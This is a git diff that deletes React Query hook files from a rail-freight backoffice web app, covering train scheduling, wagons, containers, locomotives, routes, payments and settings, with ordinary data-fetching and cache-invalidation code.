b/apps/edr-freight-web/backoffice/src/hooks/trainScheduling/useTrainScheduling.ts deleted file mode 100644 index 823d13324..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/trainScheduling/useTrainScheduling.ts +++ /dev/null @@ -1,325 +0,0 @@ -import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; - -import { QUERY_KEYS } from "@/constants/QUERY_KEYS"; -import { trainSchedulingService } from "@/services/trainScheduling.service"; -import type { - AssignBookingsPayload, - CreateTrainSchedulePayload, - FreightType, - PinWagonsPayload, - RecordCheckpointPayload, - TrainScheduleFilters, - TrainSchedulePreviewPayload, -} from "@/types/trainScheduling"; - -export const useScheduleList = (freightType?: FreightType) => - useQuery({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.schedules(), - queryFn: () => trainSchedulingService.listSchedules(freightType), - }); - -export const useBatchBoard = () => - useQuery({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.batchBoard(), - queryFn: () => trainSchedulingService.getBatchBoard(), - refetchInterval: 30_000, - }); - -export const useBatchBoardDetail = (scheduleId: string | undefined) => - useQuery({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.batchBoardDetail(scheduleId ?? ""), - queryFn: () => trainSchedulingService.getBatchBoardDetail(scheduleId!), - enabled: Boolean(scheduleId), - refetchInterval: 30_000, - }); - -export const useRunAllocation = (scheduleId: string) => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: () => trainSchedulingService.runAllocation(scheduleId), - onSuccess: () => { - void qc.invalidateQueries({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.batchBoardDetail(scheduleId), - }); - void qc.invalidateQueries({ queryKey: QUERY_KEYS.TRAIN_SCHEDULING.batchBoard() }); - }, - }); -}; - -export const useScheduleDetail = (id: string | undefined, freightType?: FreightType) => - useQuery({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.scheduleById(id ?? ""), - queryFn: () => trainSchedulingService.getScheduleById(id!, freightType), - enabled: Boolean(id), - }); - -export const useEligibleBookings = ( - filters?: TrainScheduleFilters, - enabled = true, - freightType?: FreightType, -) => - useQuery({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.eligible(freightType, filters), - queryFn: () => trainSchedulingService.getEligibleBookings(filters, freightType), - enabled, - }); - -export const useAvailableLocomotives = (routeId?: string) => - useQuery({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.locomotives(routeId), - queryFn: () => trainSchedulingService.getAvailableLocomotives(routeId), - enabled: routeId ? Boolean(routeId) : true, - }); - -export const useBatchActions = (scheduleId?: string) => { - const qc = useQueryClient(); - const invalidate = () => { - void qc.invalidateQueries({ queryKey: QUERY_KEYS.TRAIN_SCHEDULING.ROOT }); - void qc.invalidateQueries({ queryKey: QUERY_KEYS.BOOKINGS.ROOT }); - void qc.invalidateQueries({ queryKey: QUERY_KEYS.TRAIN_SCHEDULING.batchBoard() }); - if (scheduleId) { - void qc.invalidateQueries({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.scheduleById(scheduleId), - }); - void qc.invalidateQueries({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.batchBoardDetail(scheduleId), - }); - } - }; - - const runBatch = useMutation({ - mutationFn: (id: string) => trainSchedulingService.runBatch(id), - onSuccess: invalidate, - }); - const setWindow = useMutation({ - mutationFn: ({ id, status }: { id: string; status: "OPEN" | "CLOSED" }) => - trainSchedulingService.setBookingWindow(id, status), - onSuccess: invalidate, - }); - const markPaid = useMutation({ - mutationFn: (bookingId: string) => trainSchedulingService.markBookingPaid(bookingId), - onSuccess: invalidate, - }); - const expire = useMutation({ - mutationFn: (bookingId: string) => trainSchedulingService.expireBooking(bookingId), - onSuccess: invalidate, - }); - const moveSchedule = useMutation({ - mutationFn: ({ bookingId, trainScheduleId }: { bookingId: string; trainScheduleId: string }) => - trainSchedulingService.moveBookingSchedule(bookingId, trainScheduleId), - onSuccess: invalidate, - }); - - return { runBatch, setWindow, markPaid, expire, moveSchedule, invalidate }; -}; - -export const useBookableSchedules = ( - originYardId?: string | null, - destinationYardId?: string | null, -) => - useQuery({ - queryKey: [ - ...QUERY_KEYS.TRAIN_SCHEDULING.ROOT, - "bookable", - originYardId ?? "", - destinationYardId ?? "", - ], - queryFn: () => - trainSchedulingService.getBookableSchedules( - originYardId ?? undefined, - destinationYardId ?? undefined, - ), - enabled: Boolean(originYardId && destinationYardId), - }); - -/** - * Day-level pool: which days have an OPEN departure on the route. Staff pick a - * day (not a train) when creating a booking; the engine assigns the train. - */ -export const useAvailableDays = ( - originYardId?: string | null, - destinationYardId?: string | null, -) => - useQuery({ - queryKey: [ - ...QUERY_KEYS.TRAIN_SCHEDULING.ROOT, - "available-days", - originYardId ?? "", - destinationYardId ?? "", - ], - queryFn: () => - trainSchedulingService.getAvailableDays( - originYardId ?? undefined, - destinationYardId ?? undefined, - ), - enabled: Boolean(originYardId && destinationYardId), - }); - -export const useTrainTrack = (id: string | undefined) => - useQuery({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.track(id ?? ""), - queryFn: () => trainSchedulingService.getTrack(id!), - enabled: Boolean(id), - }); - -export const useScheduleMutations = (scheduleId?: string) => { - const qc = useQueryClient(); - - const invalidate = () => { - void qc.invalidateQueries({ queryKey: QUERY_KEYS.TRAIN_SCHEDULING.ROOT }); - void qc.invalidateQueries({ queryKey: QUERY_KEYS.TRAIN_SCHEDULING.schedules() }); - void qc.invalidateQueries({ queryKey: QUERY_KEYS.TRAIN_SCHEDULING.locomotives() }); - if (scheduleId) { - void qc.invalidateQueries({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.scheduleById(scheduleId), - }); - void qc.invalidateQueries({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.track(scheduleId), - }); - void qc.invalidateQueries({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.unassignedBookings(scheduleId), - }); - void qc.invalidateQueries({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.compositionRemovals(scheduleId), - }); - } - void qc.invalidateQueries({ queryKey: QUERY_KEYS.BOOKINGS.ROOT }); - }; - - const create = useMutation({ - mutationFn: ({ - freightType, - payload, - }: { - freightType?: FreightType; - payload: CreateTrainSchedulePayload; - }) => trainSchedulingService.createSchedule(payload, freightType), - onSuccess: invalidate, - }); - - const preview = useMutation({ - mutationFn: ({ - freightType, - payload, - }: { - freightType?: FreightType; - payload: TrainSchedulePreviewPayload; - }) => trainSchedulingService.preview(payload, freightType), - }); - - const assign = useMutation({ - mutationFn: ({ - id, - freightType, - payload, - }: { - id: string; - freightType?: FreightType; - payload: AssignBookingsPayload; - }) => trainSchedulingService.assignBookings(id, payload, freightType), - onSuccess: invalidate, - }); - - const assignUnassigned = useMutation({ - mutationFn: ({ id, bookingId }: { id: string; bookingId: string }) => - trainSchedulingService.assignUnassignedBooking(id, bookingId), - onSuccess: invalidate, - }); - - const unassign = useMutation({ - mutationFn: ({ id, bookingId }: { id: string; bookingId: string }) => - trainSchedulingService.unassignBooking(id, bookingId), - onSuccess: invalidate, - }); - - const pin = useMutation({ - mutationFn: ({ id, payload }: { id: string; payload: PinWagonsPayload }) => - trainSchedulingService.pinWagons(id, payload), - onSuccess: invalidate, - }); - - const finalize = useMutation({ - mutationFn: (id: string) => trainSchedulingService.finalizeSchedule(id), - onSuccess: invalidate, - }); - - const dispatch = useMutation({ - mutationFn: (id: string) => trainSchedulingService.dispatchSchedule(id), - onSuccess: invalidate, - }); - - const cancel = useMutation({ - mutationFn: ({ id, freightType }: { id: string; freightType?: FreightType }) => - trainSchedulingService.cancelSchedule(id, freightType ?? "CONTAINER"), - onSuccess: invalidate, - }); - - const recordCheckpoint = useMutation({ - mutationFn: ({ id, payload }: { id: string; payload: RecordCheckpointPayload }) => - trainSchedulingService.recordCheckpoint(id, payload), - onSuccess: invalidate, - }); - - const arrive = useMutation({ - mutationFn: (id: string) => trainSchedulingService.arriveSchedule(id), - onSuccess: invalidate, - }); - - return { - create, - preview, - assign, - assignUnassigned, - unassign, - pin, - finalize, - dispatch, - cancel, - recordCheckpoint, - arrive, - invalidate, - }; -}; - -export const useUnassignedBookings = (scheduleId: string | undefined) => - useQuery({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.unassignedBookings(scheduleId ?? ""), - queryFn: () => trainSchedulingService.getUnassignedBookings(scheduleId!), - enabled: Boolean(scheduleId), - }); - -export const useCompositionRemovals = (scheduleId: string | undefined) => - useQuery({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.compositionRemovals(scheduleId ?? ""), - queryFn: () => trainSchedulingService.getCompositionRemovals(scheduleId!), - enabled: Boolean(scheduleId), - }); - -export const useRemoveWagonSlot = (scheduleId: string) => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: (wagonId: string) => - trainSchedulingService.removeWagonSlot(scheduleId, wagonId), - onSuccess: () => { - void qc.invalidateQueries({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.scheduleById(scheduleId), - }); - void qc.invalidateQueries({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.batchBoardDetail(scheduleId), - }); - }, - }); -}; - -export const useUpdateContainerItem = (scheduleId: string) => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ itemId, containerNumber }: { itemId: string; containerNumber: string | null }) => - trainSchedulingService.updateContainerItem(scheduleId, itemId, { containerNumber }), - onSuccess: () => { - void qc.invalidateQueries({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.scheduleById(scheduleId), - }); - }, - }); -}; diff --git a/apps/edr-freight-web/backoffice/src/hooks/use-cargo-types.ts b/apps/edr-freight-web/backoffice/src/hooks/use-cargo-types.ts deleted file mode 100644 index 864e9732c..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/use-cargo-types.ts +++ /dev/null @@ -1,12 +0,0 @@ -import { useQuery } from '@tanstack/react-query'; -import { cargoTypesService } from '@/services/cargo-types.service'; - -export const CARGO_TYPES_QUERY_KEY = ['cargo-types']; - -export function useCargoTypes() { - return useQuery({ - queryKey: CARGO_TYPES_QUERY_KEY, - queryFn: () => cargoTypesService.getCargoTypes(), - staleTime: Infinity, - }); -} \ No newline at end of file diff --git a/apps/edr-freight-web/backoffice/src/hooks/use-container-types.ts b/apps/edr-freight-web/backoffice/src/hooks/use-container-types.ts deleted file mode 100644 index c216c2adf..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/use-container-types.ts +++ /dev/null @@ -1,12 +0,0 @@ -import { useQuery } from '@tanstack/react-query'; -import { containerTypesService } from '@/services/container-types.service'; - -export const CONTAINER_TYPES_QUERY_KEY = ['container-types']; - -export function useContainerTypes() { - return useQuery({ - queryKey: CONTAINER_TYPES_QUERY_KEY, - queryFn: () => containerTypesService.getContainerTypes(), - staleTime: Infinity, - }); -} \ No newline at end of file diff --git a/apps/edr-freight-web/backoffice/src/hooks/use-wagon-types.ts b/apps/edr-freight-web/backoffice/src/hooks/use-wagon-types.ts deleted file mode 100644 index 88566c776..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/use-wagon-types.ts +++ /dev/null @@ -1,36 +0,0 @@ -import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'; -import { wagonTypesService } from '@/services/wagon-types.service'; - -export const WAGON_TYPES_QUERY_KEY = ['wagon-types']; - -export function useWagonTypes() { - return useQuery({ - queryKey: WAGON_TYPES_QUERY_KEY, - queryFn: () => wagonTypesService.getWagonTypes(), - }); -} - -export function useCreateWagonType() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: wagonTypesService.create, - onSuccess: () => qc.invalidateQueries({ queryKey: WAGON_TYPES_QUERY_KEY }), - }); -} - -export function useUpdateWagonType() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ id, data }: { id: string; data: Record }) => - wagonTypesService.update(id, data), - onSuccess: () => qc.invalidateQueries({ queryKey: WAGON_TYPES_QUERY_KEY }), - }); -} - -export function useDeleteWagonType() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: wagonTypesService.delete, - onSuccess: () => qc.invalidateQueries({ queryKey: WAGON_TYPES_QUERY_KEY }), - }); -} diff --git a/apps/edr-freight-web/backoffice/src/hooks/useContainers.ts b/apps/edr-freight-web/backoffice/src/hooks/useContainers.ts deleted file mode 100644 index b14d9b5c5..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/useContainers.ts +++ /dev/null @@ -1,59 +0,0 @@ -import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'; -import { containerService } from '@/services/containerService'; - -export const containerKeys = { - all: ['containers'] as const, - byWagon: (wagonId: string) => [...containerKeys.all, 'wagon', wagonId] as const, - details: () => [...containerKeys.all, 'detail'] as const, - detail: (id: string) => [...containerKeys.details(), id] as const, -}; - -export function useContainers() { - return useQuery({ queryKey: containerKeys.all, queryFn: () => containerService.getAll().then(res => res.data) }); -} - -export const useGetContainers = useContainers; - -export function useContainersByWagon(wagonId: string) { - return useQuery({ queryKey: containerKeys.byWagon(wagonId), queryFn: () => containerService.getByWagon(wagonId).then(res => res.data), enabled: !!wagonId }); -} - -export function useContainer(id: string) { - return useQuery({ queryKey: containerKeys.detail(id), queryFn: () => containerService.getById(id).then(res => res.data), enabled: !!id }); -} - -export const useGetContainer = useContainer; - -export function useCreateContainer() { - const qc = useQueryClient(); - return useMutation({ mutationFn: containerService.create, onSuccess: () => qc.invalidateQueries({ queryKey: containerKeys.all }) }); -} - -export function useUpdateContainer() { - const qc = useQueryClient(); - return useMutation({ mutationFn: ({ id, data }: any) => containerService.update(id, data), onSuccess: (_, { id }) => { - qc.invalidateQueries({ queryKey: containerKeys.all }); - qc.invalidateQueries({ queryKey: containerKeys.detail(id) }); - } }); -} - -export function useDeleteContainer() { - const qc = useQueryClient(); - return useMutation({ mutationFn: containerService.delete, onSuccess: () => qc.invalidateQueries({ queryKey: containerKeys.all }) }); -} - -export function useAssignContainerToWagon() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ containerId, wagonId, position }: any) => containerService.assignToWagon(containerId, wagonId, position), - onSuccess: (_, { wagonId }) => qc.invalidateQueries({ queryKey: containerKeys.byWagon(wagonId) }) - }); -} - -export function useUnassignContainer() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: containerService.unassign, - onSuccess: () => qc.invalidateQueries({ queryKey: containerKeys.all }) - }); -} diff --git a/apps/edr-freight-web/backoffice/src/hooks/useDropdownSettings.ts b/apps/edr-freight-web/backoffice/src/hooks/useDropdownSettings.ts deleted file mode 100644 index 256fc1702..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/useDropdownSettings.ts +++ /dev/null @@ -1,112 +0,0 @@ -import { useMutation, useQueryClient } from "@tanstack/react-query"; - -import { api } from "@/services/api"; -import type { - CreateDropdownOptionDto, - CreateDropdownSettingDto, - UpdateDropdownOptionDto, - UpdateDropdownSettingDto, -} from "@/types/dropdownSettings"; - -/* ----------------------------- Mutations ----------------------------- */ - -export const useCreateDropdownSetting = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: (dto: CreateDropdownSettingDto) => - api.dropdownSettings.create.call(dto), - onSuccess: () => - qc.invalidateQueries({ queryKey: api.dropdownSettings.list.queryKey() }), - }); -}; - -export const useUpdateDropdownSetting = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ - id, - dto, - }: { - id: string; - dto: UpdateDropdownSettingDto; - }) => api.dropdownSettings.update.call({ id, dto }), - onSuccess: (_data, { id }) => { - qc.invalidateQueries({ queryKey: api.dropdownSettings.list.queryKey() }); - qc.invalidateQueries({ - queryKey: api.dropdownSettings.getById.queryKey({ id }), - }); - }, - }); -}; - -export const useDeleteDropdownSetting = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: (id: string) => api.dropdownSettings.remove.call({ id }), - onSuccess: () => - qc.invalidateQueries({ queryKey: api.dropdownSettings.list.queryKey() }), - }); -}; - -export const useReplaceDropdownOptions = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ - settingId, - options, - }: { - settingId: string; - options: CreateDropdownOptionDto[]; - }) => api.dropdownSettings.replaceOptions.call({ id: settingId, options }), - onSuccess: (_data, { settingId }) => { - qc.invalidateQueries({ queryKey: api.dropdownSettings.list.queryKey() }); - qc.invalidateQueries({ - queryKey: api.dropdownSettings.getById.queryKey({ id: settingId }), - }); - }, - }); -}; - -export const useAddDropdownOption = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ - settingId, - dto, - }: { - settingId: string; - dto: CreateDropdownOptionDto; - }) => api.dropdownSettings.addOption.call({ id: settingId, dto }), - onSuccess: (_data, { settingId }) => { - qc.invalidateQueries({ queryKey: api.dropdownSettings.list.queryKey() }); - qc.invalidateQueries({ - queryKey: api.dropdownSettings.getById.queryKey({ id: settingId }), - }); - }, - }); -}; - -export const useUpdateDropdownOption = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ - optionId, - dto, - }: { - optionId: string; - dto: UpdateDropdownOptionDto; - }) => api.dropdownSettings.updateOption.call({ optionId, dto }), - onSuccess: () => - qc.invalidateQueries({ queryKey: api.dropdownSettings.list.queryKey() }), - }); -}; - -export const useRemoveDropdownOption = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: (optionId: string) => - api.dropdownSettings.removeOption.call({ optionId }), - onSuccess: () => - qc.invalidateQueries({ queryKey: api.dropdownSettings.list.queryKey() }), - }); -}; diff --git a/apps/edr-freight-web/backoffice/src/hooks/useFacilities.ts b/apps/edr-freight-web/backoffice/src/hooks/useFacilities.ts deleted file mode 100644 index 481378ba7..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/useFacilities.ts +++ /dev/null @@ -1,16 +0,0 @@ -import { useQuery } from '@tanstack/react-query'; - -import { facilityService } from '@/services/facility.service'; - -export const facilityKeys = { - all: ['facilities'] as const, - list: () => ['facilities', 'list'] as const, - detail: (id: string) => ['facilities', 'detail', id] as const, -}; - -export function useFacilities() { - return useQuery({ - queryKey: facilityKeys.list(), - queryFn: () => facilityService.list().then((r) => r.data), - }); -} diff --git a/apps/edr-freight-web/backoffice/src/hooks/useFileUploadSettings.ts b/apps/edr-freight-web/backoffice/src/hooks/useFileUploadSettings.ts deleted file mode 100644 index 748de4f88..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/useFileUploadSettings.ts +++ /dev/null @@ -1,126 +0,0 @@ -import { useMutation, useQueryClient } from "@tanstack/react-query"; - -import { api } from "@/services/api"; -import type { - CreateFileUploadFieldDto, - CreateFileUploadSettingDto, - UpdateFileUploadFieldDto, - UpdateFileUploadSettingDto, -} from "@/types/fileUploadSettings"; - -/* ----------------------------- Mutations ----------------------------- */ - -export const useCreateFileUploadSetting = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: (dto: CreateFileUploadSettingDto) => - api.fileUploadSettings.create.call(dto), - onSuccess: () => - qc.invalidateQueries({ - queryKey: api.fileUploadSettings.list.queryKey(), - }), - }); -}; - -export const useUpdateFileUploadSetting = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ - id, - dto, - }: { - id: string; - dto: UpdateFileUploadSettingDto; - }) => api.fileUploadSettings.update.call({ id, dto }), - onSuccess: (_data, { id }) => { - qc.invalidateQueries({ - queryKey: api.fileUploadSettings.list.queryKey(), - }); - qc.invalidateQueries({ - queryKey: api.fileUploadSettings.getById.queryKey({ id }), - }); - }, - }); -}; - -export const useDeleteFileUploadSetting = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: (id: string) => api.fileUploadSettings.remove.call({ id }), - onSuccess: () => - qc.invalidateQueries({ - queryKey: api.fileUploadSettings.list.queryKey(), - }), - }); -}; - -export const useReplaceFileUploadFields = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ - settingId, - fields, - }: { - settingId: string; - fields: CreateFileUploadFieldDto[]; - }) => api.fileUploadSettings.replaceFields.call({ id: settingId, fields }), - onSuccess: (_data, { settingId }) => { - qc.invalidateQueries({ - queryKey: api.fileUploadSettings.list.queryKey(), - }); - qc.invalidateQueries({ - queryKey: api.fileUploadSettings.getById.queryKey({ id: settingId }), - }); - }, - }); -}; - -export const useAddFileUploadField = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ - settingId, - dto, - }: { - settingId: string; - dto: CreateFileUploadFieldDto; - }) => api.fileUploadSettings.addField.call({ settingId, dto }), - onSuccess: (_data, { settingId }) => { - qc.invalidateQueries({ - queryKey: api.fileUploadSettings.list.queryKey(), - }); - qc.invalidateQueries({ - queryKey: api.fileUploadSettings.getById.queryKey({ id: settingId }), - }); - }, - }); -}; - -export const useUpdateFileUploadField = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ - fieldId, - dto, - }: { - fieldId: string; - dto: UpdateFileUploadFieldDto; - }) => api.fileUploadSettings.updateField.call({ fieldId, dto }), - onSuccess: () => - qc.invalidateQueries({ - queryKey: api.fileUploadSettings.list.queryKey(), - }), - }); -}; - -export const useRemoveFileUploadField = () => { - const qc = useQueryClient(); - return useMutation({ - mutationFn: (fieldId: string) => - api.fileUploadSettings.removeField.call({ fieldId }), - onSuccess: () => - qc.invalidateQueries({ - queryKey: api.fileUploadSettings.list.queryKey(), - }), - }); -}; diff --git a/apps/edr-freight-web/backoffice/src/hooks/useLocomotives.ts b/apps/edr-freight-web/backoffice/src/hooks/useLocomotives.ts deleted file mode 100644 index ee50bd59e..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/useLocomotives.ts +++ /dev/null @@ -1,47 +0,0 @@ -import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'; - -import { locomotivesService } from '@/services/locomotives.service'; - -export const locomotiveKeys = { - all: ['locomotives'] as const, - details: () => [...locomotiveKeys.all, 'detail'] as const, - detail: (id: string) => [...locomotiveKeys.details(), id] as const, -}; - -export function useLocomotives() { - return useQuery({ - queryKey: locomotiveKeys.all, - queryFn: () => locomotivesService.getAll().then((response) => response.data), - }); -} - -export function useCreateLocomotive() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: locomotivesService.create, - onSuccess: () => qc.invalidateQueries({ queryKey: locomotiveKeys.all }), - }); -} - -export function useUpdateLocomotive() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ id, data }: { id: string; data: Record }) => - locomotivesService.update(id, data), - onSuccess: (_, { id }) => { - qc.invalidateQueries({ queryKey: locomotiveKeys.all }); - qc.invalidateQueries({ queryKey: locomotiveKeys.detail(id) }); - }, - }); -} - -export function useDecommissionLocomotive() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: locomotivesService.decommission, - onSuccess: (_, id) => { - qc.invalidateQueries({ queryKey: locomotiveKeys.all }); - qc.invalidateQueries({ queryKey: locomotiveKeys.detail(id) }); - }, - }); -} diff --git a/apps/edr-freight-web/backoffice/src/hooks/usePayments.ts b/apps/edr-freight-web/backoffice/src/hooks/usePayments.ts deleted file mode 100644 index e9a09760b..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/usePayments.ts +++ /dev/null @@ -1,23 +0,0 @@ -import { useQuery } from "@tanstack/react-query"; - -import { - paymentsService, - type PaymentListFilter, -} from "@/services/payments.service"; - -export function usePaymentList(filter?: PaymentListFilter, enabled = true) { - return useQuery({ - queryKey: ["payments", "list", filter ?? {}], - queryFn: () => paymentsService.list(filter), - enabled, - }); -} - -export function usePaymentSummary(enabled = true) { - return useQuery({ - queryKey: ["payments", "summary"], - queryFn: () => paymentsService.getSummary(), - staleTime: 30_000, - enabled, - }); -} diff --git a/apps/edr-freight-web/backoffice/src/hooks/useRoutes.ts b/apps/edr-freight-web/backoffice/src/hooks/useRoutes.ts deleted file mode 100644 index 3ae4ba924..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/useRoutes.ts +++ /dev/null @@ -1,55 +0,0 @@ -import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'; - -import { routesService } from '@/services/routes.service'; - -export const routeKeys = { - all: ['routes'] as const, - yards: ['routes', 'yards'] as const, - details: () => [...routeKeys.all, 'detail'] as const, - detail: (id: string) => [...routeKeys.details(), id] as const, -}; - -export function useRoutes() { - return useQuery({ - queryKey: routeKeys.all, - queryFn: () => routesService.getAll().then((response) => response.data), - }); -} - -export function useRouteYards() { - return useQuery({ - queryKey: routeKeys.yards, - queryFn: () => routesService.getYards().then((response) => response.data.data), - }); -} - -export function useCreateRoute() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: routesService.create, - onSuccess: () => qc.invalidateQueries({ queryKey: routeKeys.all }), - }); -} - -export function useUpdateRoute() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ id, data }: { id: string; data: Record }) => - routesService.update(id, data), - onSuccess: (_, { id }) => { - qc.invalidateQueries({ queryKey: routeKeys.all }); - qc.invalidateQueries({ queryKey: routeKeys.detail(id) }); - }, - }); -} - -export function useDeactivateRoute() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: routesService.deactivate, - onSuccess: (_, id) => { - qc.invalidateQueries({ queryKey: routeKeys.all }); - qc.invalidateQueries({ queryKey: routeKeys.detail(id) }); - }, - }); -} diff --git a/apps/edr-freight-web/backoffice/src/hooks/useSavedSignature.ts b/apps/edr-freight-web/backoffice/src/hooks/useSavedSignature.ts deleted file mode 100644 index b8c9480a7..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/useSavedSignature.ts +++ /dev/null @@ -1,30 +0,0 @@ -import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; -import toast from "react-hot-toast"; - -import { - signaturesService, - type SaveSignaturePayload, -} from "@/services/signatures.service"; - -const SAVED_SIGNATURE_KEY = ["me", "signature"] as const; - -export function useMySignature() { - return useQuery({ - queryKey: SAVED_SIGNATURE_KEY, - queryFn: () => signaturesService.getMySignature(), - staleTime: 60_000, - }); -} - -export function useSaveSignature() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: (payload: SaveSignaturePayload) => - signaturesService.saveMySignature(payload), - onSuccess: () => { - toast.success("Signature saved"); - void qc.invalidateQueries({ queryKey: SAVED_SIGNATURE_KEY }); - }, - onError: () => toast.error("Failed to save signature"), - }); -} diff --git a/apps/edr-freight-web/backoffice/src/hooks/useStations.ts b/apps/edr-freight-web/backoffice/src/hooks/useStations.ts deleted file mode 100644 index b7ab95d0a..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/useStations.ts +++ /dev/null @@ -1,16 +0,0 @@ -import { useQuery } from '@tanstack/react-query'; - -import { trainSchedulingService } from '@/services/trainScheduling.service'; -import { QUERY_KEYS } from '@/constants/QUERY_KEYS'; - -/** - * The 21 network stations / yards, sourced from the existing booking - * reference-data API. Reused as the parent "Facility / Port" for warehouses. - */ -export function useStations() { - return useQuery({ - queryKey: QUERY_KEYS.TRAIN_SCHEDULING.stations(), - queryFn: () => trainSchedulingService.getStations(), - staleTime: 5 * 60 * 1000, - }); -} diff --git a/apps/edr-freight-web/backoffice/src/hooks/useTrains.ts b/apps/edr-freight-web/backoffice/src/hooks/useTrains.ts deleted file mode 100644 index c2b24d294..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/useTrains.ts +++ /dev/null @@ -1,39 +0,0 @@ -import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'; -import { trainService } from '@/services/trains.service'; - -export const trainKeys = { - all: ['trains'] as const, - lists: () => [...trainKeys.all, 'list'] as const, - details: () => [...trainKeys.all, 'detail'] as const, - detail: (id: string) => [...trainKeys.details(), id] as const, -}; - -export function useTrains() { - return useQuery({ queryKey: trainKeys.lists(), queryFn: () => trainService.getAll().then(res => res.data) }); -} - -export const useGetTrains = useTrains; - -export function useTrain(id: string) { - return useQuery({ queryKey: trainKeys.detail(id), queryFn: () => trainService.getById(id).then(res => res.data), enabled: !!id }); -} - -export const useGetTrain = useTrain; - -export function useCreateTrain() { - const qc = useQueryClient(); - return useMutation({ mutationFn: trainService.create, onSuccess: () => qc.invalidateQueries({ queryKey: trainKeys.lists() }) }); -} - -export function useUpdateTrain() { - const qc = useQueryClient(); - return useMutation({ mutationFn: ({ id, data }: any) => trainService.update(id, data), onSuccess: (_, { id }) => { - qc.invalidateQueries({ queryKey: trainKeys.lists() }); - qc.invalidateQueries({ queryKey: trainKeys.detail(id) }); - } }); -} - -export function useDeleteTrain() { - const qc = useQueryClient(); - return useMutation({ mutationFn: trainService.delete, onSuccess: () => qc.invalidateQueries({ queryKey: trainKeys.lists() }) }); -} diff --git a/apps/edr-freight-web/backoffice/src/hooks/useWagons.ts b/apps/edr-freight-web/backoffice/src/hooks/useWagons.ts deleted file mode 100644 index b672a2a84..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/useWagons.ts +++ /dev/null @@ -1,64 +0,0 @@ -import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'; -import { wagonService } from '@/services/wagon.service'; - -export type WagonListFilters = import('@/services/wagon.service').WagonListFilters; - -export const wagonKeys = { - all: ['wagons'] as const, - list: (filters?: WagonListFilters) => [...wagonKeys.all, 'list', filters ?? {}] as const, - byTrain: (trainId: string) => [...wagonKeys.all, 'train', trainId] as const, - details: () => [...wagonKeys.all, 'detail'] as const, - detail: (id: string) => [...wagonKeys.details(), id] as const, -}; - -export function useWagons(filters?: WagonListFilters) { - return useQuery({ - queryKey: wagonKeys.list(filters), - queryFn: () => wagonService.getAll(filters ?? {}).then((res) => res.data), - }); -} - -export const useGetWagons = useWagons; - -export function useWagonsByTrain(trainId: string) { - return useQuery({ queryKey: wagonKeys.byTrain(trainId), queryFn: () => wagonService.getByTrain(trainId).then(res => res.data), enabled: !!trainId }); -} - -export function useWagon(id: string) { - return useQuery({ queryKey: wagonKeys.detail(id), queryFn: () => wagonService.getById(id).then(res => res.data), enabled: !!id }); -} - -export const useGetWagon = useWagon; 